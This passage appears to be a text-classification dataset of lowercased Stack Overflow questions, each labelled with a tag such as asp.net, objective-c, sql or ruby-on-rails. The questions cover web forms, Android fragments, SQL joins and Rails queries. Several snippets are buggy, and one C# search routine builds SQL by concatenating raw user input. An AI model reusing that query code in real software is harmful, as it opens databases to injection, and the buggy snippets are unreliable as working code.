&lt;asp:label id= lblpersonmaidenname  runat= server  text= maiden name:  meta:resourcekey= lblpersonmaidennameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;asp:textbox id= txtpersonmaidenname  runat= server  maxlength= 200  width= 120px  meta:resourcekey= txtpersonmaidennameresource1 /&gt;                 &lt;/div&gt;              &lt;/div&gt;              &lt;div class= line &gt;               &lt;div class= labelcell &gt;                      &lt;asp:label id= lblpersonthirdname  runat= server  text= third name:   meta:resourcekey= lblpersonthirdnameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;asp:textbox id= txtpersonthirdname  runat= server  maxlength= 128  width= 120px  meta:resourcekey= txtpersonthirdnameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= labelcell &gt;                     &lt;asp:label id= lblpersonfps  runat= server  text= fps:    meta:resourcekey= lblpersonfpsresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;asp:textbox id= txtpersonfps  runat= server  maxlength= 200  width= 120px  meta:resourcekey= txtpersonfpsresource1 /&gt;                 &lt;/div&gt;             &lt;/div&gt;              &lt;div class= line &gt;                 &lt;div class= labelcell &gt;                      &lt;asp:label id= lblpersonforthname  runat= server  text= fourth name:   meta:resourcekey= lblpersonforthnameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;asp:textbox id= txtpersonforthname  runat= server  maxlength= 128  width= 120px  meta:resourcekey= txtpersonforthnameresource1 /&gt;                 &lt;/div&gt;                  &lt;div class= labelcell &gt;                     &lt;asp:label id= lblpersonethnicity  runat= server  text= ethnicity:   meta:resourcekey= lblpersonethnicityresource1 /&gt;                  &lt;/div&gt;                 &lt;div class= cell &gt;                    &lt;asp:dropdownlist id= ddlpersonethnicity  width= 120px  runat= server  appenddatabounditems= true  datasourceid= dspersonethnicity  datatextfield= ethnicity  datavaluefield= ethnicityid  onprerender= ddlpersonethnicity_prerender  meta:resourcekey= ddlpersonethnicityresource1 &gt;                         &lt;asp:listitem value= -1  meta:resourcekey= listitemresource1 &gt;--select--&lt;/asp:listitem&gt;                     &lt;/asp:dropdownlist&gt;                  &lt;/div&gt;              &lt;/div&gt;          &lt;/div&gt; </code></pre>   this part seems to not won t to show up in the browser:   <pre><code>                &lt;div class= labelcell &gt;                      &lt;asp:label id= lblpersonmaidenname  runat= server  text= maiden name:  meta:resourcekey= lblpersonmaidennameresource1 /&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;asp:textbox id= txtpersonmaidenname  runat= server  maxlength= 200  width= 120px  meta:resourcekey= txtpersonmaidennameresource1 /&gt;                 &lt;/div&gt; </code></pre>   how it shows up in html(the maiden name part):   <pre><code>&lt;div class= labelcell &gt;&lt;/div&gt;  &lt;div class= cell &gt;&lt;/div&gt; </code></pre>   here is a  line  that does show up:   <pre><code>&lt;div class= line &gt;               &lt;div class= labelcell &gt;                      &lt;span id= lblpersonthirdname &gt;third name: &lt;/span&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;input name= txtpersonthirdname  type= text  maxlength= 128  id= txtpersonthirdname  style= width:120px; &gt;                 &lt;/div&gt;                 &lt;div class= labelcell &gt;                     &lt;span id= lblpersonfps &gt;fps: &lt;/span&gt;                 &lt;/div&gt;                 &lt;div class= cell &gt;                      &lt;input name= txtpersonfps  type= text  maxlength= 200  id= txtpersonfps  style= width:120px; &gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>,asp.net
android - activity typecasting into an interface type  this is code from head first android. inside onattach method  i m wondering how the activity activity variable is being typecast into workoutlistlistener. is there a super-sub relationship    <pre><code>public class workoutlistfragment extends listfragment {  public workoutlistfragment() {     // required empty public constructor }  static interface workoutlistlistener {     void itemclicked(long id); }  private workoutlistlistener listener;  @override public view oncreateview(layoutinflater inflater                           viewgroup container  bundle savedinstancestate) {      string[] names = new string[workout.workouts.length];     for (int i = 0; i &lt; workout.workouts.length; i++) {         names[i] = workout.workouts[i].getname();     }      arrayadapter&lt;string&gt; adapter = new arrayadapter&lt;string&gt;(inflater.getcontext()  android.r.layout.simple_list_item_1  names);     setlistadapter(adapter);      return super.oncreateview(inflater  container  savedinstancestate); }  @override public void onlistitemclick(listview l  view v  int position  long id) {     if (listener != null) {         listener.itemclicked(id);     }  }  @override public void onattach(activity activity) {     super.onattach(context);     this.listener = (workoutlistlistener) activity; } </code></pre>   },android
how can save a text file in a folder created on an ftp server   i have created an application which creates a folder on an ftp server when clicking on a button.    now i need to store some text files to it.    how can i do this,asp.net
getting html tags after the xml parsing   i m getting html tags in response and i want to display the response data in <strong>textview</strong>.  like:-(this is my data after the parsing)<br> like share  in 2010&amp;#39;s ninth quarter. international workers.<br /> how can i show this data directly is there a way to remove these html tags after the parsing. i also used this      <pre><code>[temp replaceoccurrencesofstring:@ &amp;acute;  withstring:@    options:nsliteralsearch range:nsmakerange(0 [temp length])]; </code></pre>   this works after parsing the data before displays to the <strong>textview</strong>. but what about other tags and special characters. can any one provide me the better way to do this work...    thanks in advance.,iphone
how to set the value of a form element in contact.html page  when i click a link using javascript   i have two pages:   <ol> <li> the products page  that has the products  and every product has a  send us a message  link; </li> <li> the contact page  that has a form with four elements: name  email  subject and message; </li> </ol>   when i click on the  send us a message  link in products.html page  i would like that the value of  subject  element of the form in contact.html  to be the title of the product.    so  if i have a product with the title  bmw 530xd 2009   when i click the link  send us a message  below it i would like to send me tot the contact.html page and the  subject  field of the form to be autocompleted with  bmw 530xd 2009 .    how i do that with javascipt     thank you,javascript
optional arguments in objective-c 2.0   in objective-c 2.0  is it possible to make a method where the argument is optional  that is  you can have a method call like this:   <pre><code>[afraction print]; </code></pre>   as well as this:   <pre><code>[afraction print: someparameter]; </code></pre>   in the same program.    apple s <strong>objective-c 2.0 programming language</strong> guide contrasts obj-c with python and seems to say this is not allowed. i m still learning and i want to be sure. if it <em>is</em> possible  then what is the syntax  because my second code example does not work.    <strong>update:</strong> ok  i just made two methods  both named  print .     <em>header</em>   <pre><code>-(void) print; -(void) print: (bool) somesetting;  </code></pre>   <em>implementation</em>   <pre><code>-(void) print {     [self print:0]; }  -(void) print: (bool) somesetting {     bool sv;     sv = somesetting;      if ( sv ) {         nslog(@ cool stuff turned on );     }     else {         nslog(@ cool stuff turned off );     } } </code></pre>   <em>the relevant program lines</em>   <pre><code>    ...     printparamflag = true;  // no parameter     [acodeholder print];  // single parameter     [acodeholder print:printparamflag];     ... </code></pre>   i can t believe that worked. is there any reason i shouldn t do this,objective-c
hide images from user  restricting directory access  let s say my image is stored here:   <pre><code>c:\users\linklee\documents\visual studio 2012\projects\mykladr\mykladr\images\temp\1.jpg  </code></pre>   and i get them throw ashx file :   <pre><code>img.imageurl =  ~/backfile.ashx ; </code></pre>   what i want to do is to hide this path:   <pre><code>http://localhost:50646/images/data/1.jpg </code></pre>   where can i configure it,asp.net
formatting a java dice rolling program   i m making a java program where a random dice face is selected and displayed. ultimately  i want to show five dice side by side in the console. i have made some strings that are ascii representations of the 6 dice faces.    here is an example of one:   <pre><code>+-------+ | o   o | |   o   | | o   o | +-------+ </code></pre>   my question is: how would i display five of these ascii dice side by side in the console  i want the console output to look something like this:   <pre><code>+-------+   +-------+   +-------+   +-------+   +-------+ | o   o |   | o   o |   | o   o |   | o   o |   | o   o | |   o   |   |   o   |   |   o   |   |   o   |   |   o   | | o   o |   | o   o |   | o   o |   | o   o |   | o   o | +-------+   +-------+   +-------+   +-------+   +-------+ </code></pre>   here is my code:   <pre><code>public class die {     private final static int lowest_die_value = 0;     private final static int highest_die_value = 6;      private string die;      public die()     {         string[] diefaces = { +-------+\r\n|       |\r\n|   o   |\r\n|       |\r\n+-------+                                  +-------+\r\n| o     |\r\n|       |\r\n|     o |\r\n+-------+                                 +-------+\r\n| o     |\r\n|   o   |\r\n|     o |\r\n+-------+                                 +-------+\r\n| o   o |\r\n|       |\r\n| o   o |\r\n+-------+                                 +-------+\r\n| o   o |\r\n|   o   |\r\n| o   o |\r\n+-------+                                 +-------+\r\n| o   o |\r\n| o   o |\r\n| o   o |\r\n+-------+ };          die = diefaces[((int)(math.random() * 100) % highest_die_value + lowest_die_value)];             }      public string getdie()     {         return die;     } }  public class fivedice {     public static void main(string[] args)     {         die die1 = new die();         system.out.println(die1.getdie());     } } </code></pre>,java
ampersands confusion in html  i m editing an html page but one line of code doesn t display the ampersand symbol. here s the code:   <pre><code>return x.size()  &amp;amp;x[0] : nullptr;          //&lt;/span&gt; &lt;span class= empitalic &gt;pointer to first element or nullptr&lt;/span&gt; </code></pre>   the result is always showing without the ampersand symbol.   <pre><code>return x.size()  x[0] : nullptr;          // pointer to first element or nullptr </code></pre>   this is extremely frustrating because other ampersand symbols do appear in other texts. what should i do     edit:    i experimented and i figured it out: it worked when i do this:   <pre><code>return x.size()  &amp;&amp;amp;x[0] : nullptr;          //&lt;/span&gt; &lt;span class= empitalic &gt;pointer  </code></pre>   obviously i did &amp;&amp; instead of the usually correct &amp; now the question is what exactly is &amp;&amp; doing  why did that work,html
can i make an equivalent to /* and */ for comment blocks   its driving me crazy  i spend soo much time getting it wrong  and then fixing it wrong.    i m thinking  of using -= and =- as delineators  but it probably means a lot of hours in learning how to fool the compiler into a substitution. is this a quixotic quest  can such be done  has it been done already  albeit with different keystrokes     i work alone. i don t collaborate. so i don t mind a non-standard work environment    if i need to in the future i could make a scheme whereby both could work.,objective-c
changing field separator  i can see that using maatkit i can export the data as comma or tab separated values. but is there anyway to change the field separator     <a href= http://www.maatkit.org/doc/mk-parallel-dump.html  rel= nofollow >http://www.maatkit.org/doc/mk-parallel-dump.html</a>    i have a table that has comma as well as tabs in the data. besides i need to process the data using awk that does not seem to work with certain fields data. i want to change the separator while dumping data using maatkit. is it possible,mysql
how can i pass a variables name  not its value. then use its value after it has been passed   im wanting to pass in these strings into a loop  i want the variable list splitsearchstring[i] to be passed as the variable itself not its value. once in the loop i want to use its value. is this possible or am i approaching this problem the wrong way  thanks for helping out a newb. here s the code:   <pre><code>    string[] splitsearchstring = searchtext.split(   );         int i = 0;         switch (searchby)         {             case 1:                 searchbystring =  cert_code like  %  + splitsearchstring[i] +  %  ;                 break;             case 2:                 searchbystring =  upc like  %  + splitsearchstring[i] +  %  ;                 break;             case 3:                 searchbystring =  description like  %  + splitsearchstring[i] +  %  ;                 break;             case 4:                 searchbystring =  (cert_code like  %  + splitsearchstring[i] +  %  or upc like  %  + splitsearchstring[i] +  % ) ;                 break;             case 5:                 searchbystring =  (cert_code like  %  + splitsearchstring[i] +  %  or description like  %  + splitsearchstring[i] +  % ) ;                 break;             case 6:                 searchbystring =  (upc like  %  + splitsearchstring[i] +  %  or description like  %  + splitsearchstring[i] +  % ) ;                 break;             default:                 searchbystring =  (upc like  %  + splitsearchstring[i] +  %  or description like  %  + splitsearchstring[i] +  %  or cert_code like  %  + splitsearchstring[i] +  % ) ;                 break;         }         sqlconnection sqlconn = new sqlconnection(connectionstring);         sqlconn.open();         sqlcommand sqlcmd;             if (searchstring.contains(   ) == true &amp;&amp; searchexact == false)             {                 formatedsplitsearchstring =  select case when t1.longdesc is null or t1.longdesc =    then t1.desc when t1.longdesc is not null and t1.longdesc &lt;&gt;    then t1.longdesc end as  description   t1.upcode from product t1 left join vendor t2 on t1.vendor = t2.vendor_no left join department t3 on t1.department = t3.dept_no left join section t4 on t1.section = t4.section where   + searchbystring + vendorfilterstr + deptfilterstr + sectionfilterstr;                 for (i = 0; i &lt; splitsearchstring.length; i++)                 {                     if (i &gt; 0)                     {                         formatedsplitsearchstring +=   and   + searchbystring;                     }                 }                 formatedsplitsearchstring += vendorfilterstr + deptfilterstr + sectionfilterstr +  ; ;                 sqlcmd = new sqlcommand(formatedsplitsearchstring  sqlconn);             }             else             {                 sqlcmd = new sqlcommand(                  select case when t1.longdesc is null or t1.longdesc =    then t1.description when t1.longdesc is not null and t1.longdesc &lt;&gt;    then t1.longdesc end as  description   t1.upcode from product t1 left join vendor t2 on t1.vendor = t2.vendor_no left join sections t4 on t1.section = t4.section left join departments t3 on t1.department = t3.dept_no where   + searchbystring + vendorfilterstr + deptfilterstr + sectionfilterstr +  ;   sqlconn);             }         }         sqldatareader sqldr = sqlcmd.executereader();         while (sqldr.read())         {             lvi = new listviewitem((sqldr[ description ].tostring()));             lvi.subitems.add(sqldr[ upc ].tostring());             lvilist.add(lvi);         }         return lvilist; </code></pre>,c#
how to create object which inherits from a parent object   i have this object:   <pre><code>var a = {   headers: {      a property  :  a value    } }; </code></pre>   how i can create another object like this      i do not want to type the whole parent object  my new object should contain the parent object  so when i <code>console.log</code> var a  b  and c it should produce different results.   <pre><code>var b = {   headers: {      a property  :  a value        b property  :  b value    } };  var c = {   headers: {      a property  :  a value        b property  :  b value    }    other: {     other2: {        other2 property  :  other2 property      }   } }; </code></pre>,javascript
rails: list all parent objects whose children have non-null value  i have a parent class <code>job</code> that can have 0 to many <code>lasersheets</code>:   <pre><code>class job &lt; activerecord::base   has_many :laser_sheets   ... end  class lasersheet &lt; activerecord::base   belongs_to :job   ... end </code></pre>   currently the <code>index</code> action in the <code>job</code> controller returns all <code>jobs</code> with 1 or more <code>lasersheets</code>:   <pre><code>class jobscontroller &lt; applicationcontroller   ...   def index     @jobs = job.joins(:laser_sheets).uniq.all.order(sort_column +     + sort_direction)   end   ... end </code></pre>   <code>lasersheet</code> has a datetime attribute <code>cut_at</code>. i would like to be able to filter the <code>job</code> results to only show <code>jobs</code> where all <code>lasersheets</code> have non-null <code>cut_at</code> attributes.     i found <a href= https://stackoverflow.com/questions/1687406/rails-filter-records-of-child-model-based-upon-the-parent-model-attribute >an answer</a> explaining how to filter children based on the parent s attribute  but i haven t been able to figure out how to do to the reverse.    <strong>edit 2/17/16:</strong>    per hieu s recommendation  i tried the following:   <pre><code>@jobs = job.joins(:laser_sheets).where( laser_sheets.id not in (select id                                                                  from laser_sheets                                                                  where cut_at is null) ) </code></pre>   it didn t appear to work  so i seeded an empty database with the following test info:   <pre><code>job.create!(id: 1  name:  job 1 ) job.create!(id: 2  name:  job 2 ) job.create!(id: 3  name:  job 3 ) lasersheet.create!(id: 1  name:  1   job_id: 1  cut_at: nil) lasersheet.create!(id: 2  name:  2   job_id: 1  cut_at: nil) lasersheet.create!(id: 3  name:  3   job_id: 2  cut_at: nil) lasersheet.create!(id: 4  name:  4   job_id: 2  cut_at:  2016-02-17 23:00:00 ) lasersheet.create!(id: 5  name:  5   job_id: 3  cut_at:  2016-02-17 23:00:00 ) lasersheet.create!(id: 6  name:  6   job_id: 3  cut_at:  2016-02-17 23:00:00 ) </code></pre>   the correct answer to my question should return only <code>job 3</code>  as that is the only <code>job</code> with all <code>lasersheets</code> having a non-null <code>cut_at</code>. i ran hieu s proposed answer:   <pre><code>jobs = job.joins(:laser_sheets).where( laser_sheets.id not in (select id from laser_sheets where cut_at is null) )    job load (0.5ms)  select  jobs .* from  jobs  inner join  laser_sheets  on  laser_sheets . job_id  =  jobs . id  where (laser_sheets.id not in (select id from laser_sheets where cut_at is null)) </code></pre>   and it returns both <code>job 2</code> and <code>job 3</code>  which is not what i am looking for.    <strong>edit 2/19/16:</strong> added cut_at info to test case,ruby-on-rails
open  is not recognized as an internal or external command while running project (npm start)  i have cloned this project from github <a href= https://github.com/goatslacker/alt-tutorial  rel= nofollow noreferrer >alt-tutorial</a>    while running the command npm start i am getting this error <a href= https://i.stack.imgur.com/dilbg.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dilbg.jpg  alt= screenshot of error ></a>,javascript
objective-c: strange calculation result  i am learning objective-c and have completed a simple program and got an unexpected result. this program is just a multiplication table test... user inputs the number of iterations(test questions)  then inputs answers. that after program displays the number of right and wrong answers  percentage and accepted/failed result.   <pre><code>#import &lt;foundation/foundation.h&gt; </code></pre>   int main (int argc  const char * argv[]) {   <pre><code>nsautoreleasepool * pool = [[nsautoreleasepool alloc] init]; nslog(@ welcome to multiplication table test ); int rightanswers; //the sum of the right answers int wronganswers; //the sum of wrong answers int combinations; //the number of combinations@   nslog(@ please  input the number of test combinations ); scanf( %d  &amp;combinations);  for(int i=0; i&lt;combinations; ++i) {     int firstint=rand()%8+1;     int secondint=rand()%8+1;     int result=firstint*secondint;     int answer;       nslog(@ %d*%d=  firstint secondint);     scanf( %d  &amp;answer);     if(answer==result)     {         nslog(@ ok );         rightanswers++;     }     else     {         nslog(@ error );         wronganswers++;     } } int percent=(100/combinations)*rightanswers; nslog(@ combinations passed: %d  combinations); nslog(@ answered right: %d times  rightanswers); nslog(@ answered wrong: %d times  wronganswers); nslog(@ completed %d percent  percent); if(percent&gt;=70)nslog(@ accepted ); else     nslog(@ failed ); [pool drain]; return 0; </code></pre>   }    problem (strange result)    when i input 3 iterations and answer  em right  i am not getting of 100% right. getting only 99%. the same count i tried on my iphone calculator.    100 / 3 = 33.3333333... percentage for one right answer (program displays 33%. the digits after mantissa getting cut off)    33.3333333... * 3=100%    can someone explain me where i went wrong  thanx.,objective-c
give user app access to initializer of engine dependency  i have written an engine which requires a gem that has an initializer to set some initial values other than the defaults. the engine itself has it s own initializer which i generate when the user installs. if i am understanding correctly  the load order for any project that requires my engine is (engine) initializers -> engine -> user app initializers -> application. so  i m at a bit of a loss as to how i can ever let the user change these values. is it possible to allow the end users to make these changes and if so what s the best way to go about doing so     for context  the gem that is being required by the engine is <a href= https://github.com/nsarno/knock  rel= nofollow noreferrer >knock</a>,ruby-on-rails
class hierarchy using instancetype vs id  i have a simple class hierarchy with my constructors using <code>instancetype</code> instead of <code>id</code> as the return type. if i wanted to forward to the super class s constructor  i get this warning:   <blockquote>    returning a vehicle * from a method returning car *: interface vehicle is not a successor of car  </blockquote>   if i switch from <code>instancetype</code> to <code>id</code>  of course  the error goes away since there s less type strictness. what is the recommended way of doing this     <strong><code>vehicle.h</code></strong>   <pre><code>@interface vehicle   - (instancetype)initwithidentifier:(nsstring *)anidentifier  @end </code></pre>   <strong><code>vehicle.m</code></strong>   <pre><code>@implementation vehicle  - (instancetype)initwithidentifier:(nsstring *)anidentifier {     self = [super init];      if (self) {         // do a bunch of stuff to construct the object     }      return self;     }  @end </code></pre>   <strong><code>car.h</code></strong>   <pre><code>@interface car : vehicle   - (instancetype)initwithcarid:(nsstring *)acarid  @end </code></pre>   <strong><code>car.m</code></strong>   <pre><code>@implementation car  - (instancetype)initwithcarid:(nsstring *)acarid {     // i want to forward the call to the parent and preserve the      // two different constructor signatures      // the following line produces this warning:     // returning vehicle * from a method returning car *: interface vehicle is not a successor of car     return [super initwithvehicleidentifier:acarid]; }  @end </code></pre>,objective-c
sql query to view the associations  i attended an interview recently and they gave me the following scenario in sql:    <strong>employee table:</strong>   <pre><code>employee{ empid  name } </code></pre>   <strong>department table:</strong>   <pre><code>department{ depid  depname } </code></pre>   <strong>employee department table:</strong>   <pre><code>employeedepartment{ empid depid } </code></pre>   i was asked to print the result with the following details :   <pre><code>empid empname depname depid </code></pre>   i could not think of any solution there.     i tried going thru some so answers but could not understand how they work. some answers suggest the usage of exists and some use joins. but i still can t figure out how this is supposed to work.    can anyone please tell me how to write the sql query to achieve this with and without the association table   specifically without using any joins,sql
sql select data if only data exist  i created a register form and logging form with html  and i created a database for it  but when i insert invalid data (data that doesn t exist in database) to the logging form  it doesn t show an error  i want an error msg when i insert invalid data (data that doesn t exist in database)  how i do it,sql
javascript code is wrong i don t know why  why can t this code work   i m trying to change an image every 4 seconds... i really don t understand  everything should work correctly.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;script type= text/javascript &gt; function falcon0408() { document.getelementbytagname( img );   if (document.getelementbytagname( img ).src= img1.png ) { document.getelementbytagname( img ).src= img2.png ; }     else if (document.getelementbytagname( img ).src= img2.png ) { document.getelementbytagname( img ).src= img3.png ;  }  else if (document.getelementbytagname( img ).src= img3 ) { document.getelementbytagname( img ).src= img1.png ; } } &lt;/script&gt;  &lt;/head&gt; &lt;body&gt; &lt;script&gt; settimeout(falcon0408() 400); &lt;/script&gt; &lt;img src= img.png /&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
src img shows black background and small white pixel at the middle  the black background can be seen inside link  image is not showing up..     <a href= https://i.stack.imgur.com/kcmuw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kcmuw.png  alt= image not display ></a>    the path is match with the link.. the picture i want to produce is 850 pixels width and 150 pixels height...    <a href= https://i.stack.imgur.com/w3ywf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/w3ywf.png  alt= path of image ></a>    i have tried to paste the image at different folder but the problem is still there.. any suggestion,html
how can i include a text file as part of an android install   i need to be able to include a text file with my android install so that i can read and parse it as needed.    it s about 57 kb bytes  so i probably couldn t do it as a  string  resource.  do i try to add it as some kind of resource  it says that  raw  can t take strings.    i could do an http get to get a similar xml file  but that s way bigger  900 kb  my file is a greatly condensed version of the data.    thanks!,android
is it necessary to release the ivar and set the synthesized ivar to nil at the same time   i have seen code (probably apple s own sample code) written in such a way where it releases the ivar in dealloc and setting the property in viewdidunload.    e.g.   <pre><code>- (void)viewdidunload {   self.navigationcontroller = nil; }  - (void)dealloc {    [_navigationcontroller release]; } </code></pre>   why do them in two places  also  why set nil in one and release in another.  it seems that self.property = nil would just take care of everything since it would release and set the ivar to nil.,objective-c
retain cycle deallocation solution  given the following code:   <pre><code>    nsmutablearray *a = [nsmutablearray array];     nsmutablearray *b = [nsmutablearray array];      [a addobject:b];     [b addobject:a]; </code></pre>   what are the options to make the array objects deallocate when i set a and b to nil     ive tried few things (like weak references) but it doesn t seem to work.. (probably because i don t understand enough - new to objective c ).    would love to get some assistance.    thank you,objective-c
an issue with the zoom in ios  whenever i run my app on the simulator or on an apple device the images are extremely zoomed in what is the cause of this and how can i fix it  i ve tried disabiling size classes and if it helps the images are on a scroll view which is underneath an image and the images are on the image view,ios
methods for checking for a valid object in objective c   for an instance of myobject  is there a difference between    <blockquote>    if (myobject == nil)  </blockquote>   and   <blockquote>    if (myobject)  </blockquote>   my assumption is that if myobject hasn t been allocated and initialized  it will be nil and the two are synonymous.    update: i m sorry  i mis-worded my question but i think you answered what i was really asking. let me clarify:     i have two tableviews  each with its own viewcontroller  <code>tblvc1</code> and <code>tblvc2</code>. for a user tap on a table row  the viewcontroller configures a popver contentviewcontroller  <code>contentvc</code>  which has tblvc1 and tblvc2 properties. so if the user tap is handled by <code>tblvc1</code>  it sets <code>contentvc.tblvc1 = self</code>  and the <code>tblvc2</code> property is not initialized.    when i need to call back to the launching viewcontroller i have been checking for which viewcontroller to call like this:  <pre><code>if (tblvc1) {      [tlbvc1 callthemethod];  } else {     [tlbvc2 callthemethod]; } </code></pre>so i should have asked: is <code>if (tblvc1)</code> the same as <code>if (tblvc1 != nil)</code>,objective-c
how to fix $interpolate:interr error when i call http.post in angularjs  i am working with angularjs and facing $interpolate:interr error when i call a webservice using $http.post.     here is my source:   <pre><code>myportletservices.factory( usage   [ $http    $sce    settings    alert   function($http  $sce  settings  alert){     this.query = function(callback){           var url = $sce.gettrustedresourceurl(settings.webserviceurl +  /usage userid=  + settings.screenname);           var http = $http.post(url); //--&gt; error occurs           http.success(function(data  status  headers  config) {               if (data.ok==true) {                  if (callback)                      callback(data.result)               } else {                   alert.add( alert   data.message);               }           });               http.error(function(data  status  headers  config) {               alert.add( error   data);           });     };      return this;  }]); </code></pre>   return from server:   <pre><code>{     ok : true      message :         result :    [        {             phoneid : xxxxxx              phonenumber : xxxxxxxx              planid : xx              planname :  $29 plan               cap :            [                {                     stdcap : 165                      datacap : 100                      smscap : 0                }            ]              usage :            [                {                     stdusage : 97.99                      datausage : 56.044                      smsusage : 0                }            ]        }         {             phoneid : xxxxx              phonenumber : xxxxx              planid : xx              planname :  essentials $45 plan               cap :            [                {                     stdcap : 650                      datacap : 1000                      smscap : 6000                }            ]              usage :            [                {                     stdusage : 116.51                      datausage : 253.339                      smsusage : 63                }            ]        }         {             phoneid : xxxxx              phonenumber : xxxxxxx              planid : 80              planname :  medium $25 pack               cap :            [                {                     stdcap : 500                      datacap : 1500                      smscap : 6000                }            ]              usage :            [                {                     stdusage : 90.05                      datausage : 115.237                      smsusage : 108                }            ]        }    ] } </code></pre>   error message:   <pre><code>error: [$interpolate:interr] http://errors.angularjs.org/1.3.0-beta.2/$interpolate/interr p0=%7b%7busage…usage.planname%7d%7d&amp;p1=typeerror%3a%20undefined%20is%20not%20a%20function     at error (native) </code></pre>   i found than the error related to using wrong expression format but my case happens when i get the result from the webservice. does it happen because return data has special characters like dollar sign     please explain the error and give some help how to fix it. thanks  your help would be appreciated.,angularjs
how do i assign text to the  void printintro  function   so far i have typed this     <pre><code>#include iostream  using namespace std;  void printintro();  </code></pre>   i want to assign a actual text now to the printintro function so that in my main program i can just type  printintro() and when the program runs the text assign to the function will show.     so far i have tried this after  void printintro();    <pre><code>    { /*printintro*/     cout &lt;&lt;           ==================================================  &lt;&lt; endl;     cout &lt;&lt;          welcome to the math practice program!!!!!  &lt;&lt; endl;     cout &lt;&lt;          this program will help you practice elementary math  &lt;&lt; endl;     cout &lt;&lt;          ==================================================  &lt;&lt; endl;     /*printintro*/  } </code></pre>   but then i get the error under the  {  symbol indicating that it is  expecting a declaration.  i have been searching through notes and messing with this all day and i cannot figure it out. any help would be appreciated. i am using ms visual studio express 2013.,c++
passing a method to validates_format_of  i want to do this:   <pre><code>validates_format_of :email  :with =&gt; email_regex  def email_regex   email_name_regex  =  [a-z0-9_\.%\+\-]+    domain_head_regex =  ( :[a-z0-9\-]+\.)+    domain_tld_regex  =  ( :[a-z]{2 4}|museum|travel)    return /\a#{email_name_regex}@#{domain_head_regex}#{domain_tld_regex}\z/i end </code></pre>   but i am getting an error saying that i have to pass a regex to the validates method. i was sure youo could do something like this.  am i missing a step     thanks,ruby-on-rails
using comma in javascript variable declaration  i just came across the following code:   <pre><code>function showmatch(str  reg) { var res = []  matches  while(true) {   matches = reg.exec(str)   if (matches === null) break    res.push(matches[0])   if (!reg.global) break alert(res) } </code></pre>   can anybody please explain the second row  does    <pre><code>var res = []  matches  </code></pre>   equal    <pre><code>var res=[]; res=matches </code></pre>   or   <pre><code>var res=[]; var matches=[] </code></pre>        i guess the second answer is correct  i find this little confusing...,javascript
how to use java i/o to read file lines in a loop   i am trying to write denversortedcities and i did print exist file and but i need to write a loop to continue reading while there is more information in the file.    as the loop cycle through all cities in the file  it will keep track of the <strong>largest city</strong> and its <strong>population</strong>. this is my code:   <pre><code>public static void main(string[] args) throws ioexception {     file infile = new file( denversortedcities.txt );      if (infile.exists()){         scanner input = new scanner(infile);          while(input.hasnextline()){             string cityinfo = input.nextline();             string[] cityinfoarray = cityinfo.split( 0 1 );              int populationvalue = integer.parseint(cityinfo);         }         system.out.println(input.nextline());          input.close();     } else {         system.out.println(infile.getname() +   does not exist. );         system.exit(1);      } } </code></pre>,java
how to assign database value to text box in javascript  <pre><code>&lt;asp:textbox id= txtissue  runat= server  textmode= multiline  width= 400px  height= 60px  text =  &lt;% =getlabelcaption( product ) %&gt; &gt;  &lt;/asp:textbox&gt; </code></pre>   how to assign database value to a text box in javascript   getlabelcaption( product ) is the function returning database value and i want to assign it to the text box.but with my above code value is not getting assigned.,asp.net
array of all elements in different associations that belong to user  i have a situation where an admin can ask a question. it can be assigned to a company  group (segment of company)  or a specific user.    now what i m trying to do is get all the questions that can be associated with a user. this means if the user is a part of a group  then the question in that group is also for that user.    the way i ve tried to do this is  is:   <pre><code>&lt;% personal_questions = current_user.questions %&gt;  &lt;% group_questions = [] %&gt; &lt;% current_user.groups.each do |group| %&gt;   &lt;% group_questions.push(group.questions) %&gt; &lt;% end %&gt;  &lt;% all_questions = personal_questions + group_questions %&gt;  &lt;%=  all_questions.map(&amp;:name) %&gt; </code></pre>   now it seems to fail to print out all the questions  it prints out the personal questions  but for group it just states  questions  when i map them out.    my associations are:    user:   <pre><code>  # groups   has_many :group_memberships   has_many :groups  through: :group_memberships   # question   has_many :question_participants  as: :questionable   has_many :questions  through: :question_participants </code></pre>   question:   <pre><code> has_many :users  through: :question_participants                     source: :questionable  source_type:  user    has_many :groups  through: :question_participants                      source: :questionable  source_type:  group  </code></pre>   group:    <pre><code>  # users   has_many :group_memberships   has_many :users  through: :group_memberships   # questions   has_many :question_participants  as: :questionable   has_many :questions  through: :question_participants </code></pre>   the goal is essentially to get an array of all questions that belongs to the user.,ruby-on-rails
sql select distinct rows  i have data like this (col2 is of type date)   <pre> | col1 |        col2         | ------------------------------ |  1   | 17/10/2007 07:19:07 | |  1   | 17/10/2007 07:18:56 | |  1   | 31/12/2070          | |  2   | 28/11/2008 15:23:14 | |  2   | 31/12/2070          | </pre>   how would select rows which col1 is distinct and the value of col2 is the greatest. like this   <pre> | col1 |        col2         | ------------------------------ |  1   | 31/12/2070          | |  2   | 31/12/2070          | </pre>,sql
error on setobject with nsmutabledictionary  i m new in objective-c  i would like to pupulate a dictionary but i have an error on the line :   <pre><code>[fullcollaboraeur setobject:(id)tmparray forkey:(id)col.id]; </code></pre>   this is the full code :   <pre><code>nsmutablearray *collaborateurs = [[nsmutablearray alloc] init]; ... nsmutabledictionary *fullcollaboraeur = [[nsmutabledictionary alloc] init]; for (collaborateur *col in  collaborateurs)  {   nsmutablearray *tmparray;   tmparray = [fullcollaboraeur objectforkey:(id)col.id];   if(tmparray == nil)   {    nslog(@ value for %i is null   col.id);    tmparray = [[nsmutablearray alloc] init];    [tmparray addobject:col];    [fullcollaboraeur setobject:(id)tmparray forkey:(id)col.id];   }   else   {    nslog(@ %i   col.id);    [tmparray addobject:col];    [fullcollaboraeur setobject:tmparray forkey:(id)col.id];   }  } </code></pre>   can you help me please      many thanks,objective-c
